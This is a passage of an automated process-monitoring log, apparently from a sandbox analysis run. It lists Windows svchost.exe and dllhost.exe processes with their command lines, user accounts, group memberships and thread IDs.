os_tid = 0x668 Thread: id = 179 os_tid = 0x664 Thread: id = 180 os_tid = 0x654 Thread: id = 181 os_tid = 0x624 Thread: id = 182 os_tid = 0x5f0 Thread: id = 183 os_tid = 0x5e8 Thread: id = 184 os_tid = 0x5e0 Thread: id = 185 os_tid = 0x5c4 Thread: id = 186 os_tid = 0x5a8 Thread: id = 187 os_tid = 0x59c Thread: id = 188 os_tid = 0x594 Thread: id = 189 os_tid = 0x588 Thread: id = 190 os_tid = 0x57c Thread: id = 191 os_tid = 0x578 Thread: id = 261 os_tid = 0x790 Thread: id = 264 os_tid = 0x78c Thread: id = 265 os_tid = 0x780 Process: id = "19" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9d53000" os_pid = "0x374" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "15" os_parent_pid = "0x4d4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cdb4" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 194 os_tid = 0x404 Thread: id = 195 os_tid = 0x7f8 Thread: id = 196 os_tid = 0x7e0 Thread: id = 197 os_tid = 0x79c Thread: id = 198 os_tid = 0x764 Thread: id = 199 os_tid = 0x760 Thread: id = 200 os_tid = 0x75c Thread: id = 201 os_tid = 0x758 Thread: id = 202 os_tid = 0x754 Thread: id = 203 os_tid = 0x744 Thread: id = 204 os_tid = 0x738 Thread: id = 205 os_tid = 0x730 Thread: id = 206 os_tid = 0x72c Thread: id = 207 os_tid = 0x724 Thread: id = 208 os_tid = 0x720 Thread: id = 209 os_tid = 0x718 Thread: id = 210 os_tid = 0x710 Thread: id = 211 os_tid = 0x70c Thread: id = 212 os_tid = 0x708 Thread: id = 213 os_tid = 0x704 Thread: id = 214 os_tid = 0x6fc Thread: id = 215 os_tid = 0x6ec Thread: id = 216 os_tid = 0x548 Thread: id = 217 os_tid = 0x440 Thread: id = 218 os_tid = 0x444 Thread: id = 219 os_tid = 0x4e8 Thread: id = 220 os_tid = 0x4b4 Thread: id = 221 os_tid = 0x49c Thread: id = 222 os_tid = 0x498 Thread: id = 223 os_tid = 0x490 Thread: id = 224 os_tid = 0x1cc Thread: id = 225 os_tid = 0x124 Thread: id = 226 os_tid = 0xc8 Thread: id = 227 os_tid = 0x3f8 Thread: id = 228 os_tid = 0x3ec Thread: id = 229 os_tid = 0x3a0 Thread: id = 230 os_tid = 0x394 Thread: id = 231 os_tid = 0x390 Thread: id = 232 os_tid = 0x38c Thread: id = 233 os_tid = 0x380 Thread: id = 234 os_tid = 0x378 Thread: id = 246 os_tid = 0x630 Thread: id = 247 os_tid = 0x674 Thread: id = 248 os_tid = 0x63c Thread: id = 249 os_tid = 0x67c Thread: id = 250 os_tid = 0x5a4 Thread: id = 251 os_tid = 0x6cc Thread: id = 252 os_tid = 0x6d4 Thread: id = 253 os_tid = 0x5f8 Thread: id = 254 os_tid = 0x5fc Thread: id = 255 os_tid = 0x6d0 Thread: id = 256 os_tid = 0x6f8 Thread: id = 257 os_tid = 0x714 Thread: id = 258 os_tid = 0x274 Thread: id = 267 os_tid = 0x184 Thread: id = 268 os_tid = 0xc0 Thread: id = 269 os_tid = 0x90 Thread: id = 270 os_tid = 0x244 Thread: id = 271 os_tid = 0x248 Thread: id = 272 os_tid = 0x2ac Thread: id = 273 os_tid = 0x2d0 Thread: id = 274 os_tid = 0xc4 Thread: id = 297 os_tid = 0x534 Thread: id = 298 os_tid = 0x324 Process: id = "20" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x60637000" os_pid = "0x360" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "17" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e163" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 238 os_tid = 0x5dc Thread: id = 239 os_tid = 0x5d4 Thread: id = 240 os_tid = 0x5ec Thread: id = 241 os_tid = 0x5d0 Thread: id = 242 os_tid = 0x5f4 Thread: id = 243 os_tid = 0x35c Thread: id = 244 os_tid = 0x364 Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xcd44000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "17" os_parent_pid = "0x37c" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b556" [0xc000000f], "LOCAL" [0x7] Thread: id = 275 os_tid = 0x114 Thread: id = 276 os_tid = 0x210 Thread: id = 277 os_tid = 0x350 Thread: id = 278 os_tid = 0x618 Thread: id = 279 os_tid = 0x6e8 Thread: id = 280 os_tid = 0x634 Thread: id = 281 os_tid = 0x610 Thread: id = 282 os_tid = 0x60c Thread: id = 283 os_tid = 0x600 Thread: id = 284 os_tid = 0x5d8 Thread: id = 285 os_tid = 0x460 Thread: id = 286 os_tid = 0x448 Thread: id = 287 os_tid = 0x43c Thread: id = 288 os_tid = 0x424 Thread: id = 289 os_tid = 0x3c4 Thread: id = 290 os_tid = 0x3bc Thread: id = 291 os_tid = 0x3ac Thread: id = 292 os_tid = 0x300 Thread: id = 293 os_tid = 0x2fc Thread: id = 294 os_tid = 0x2e0 Thread: id = 295 os_tid = 0x2d8 Thread: id = 296 os_tid = 0x2cc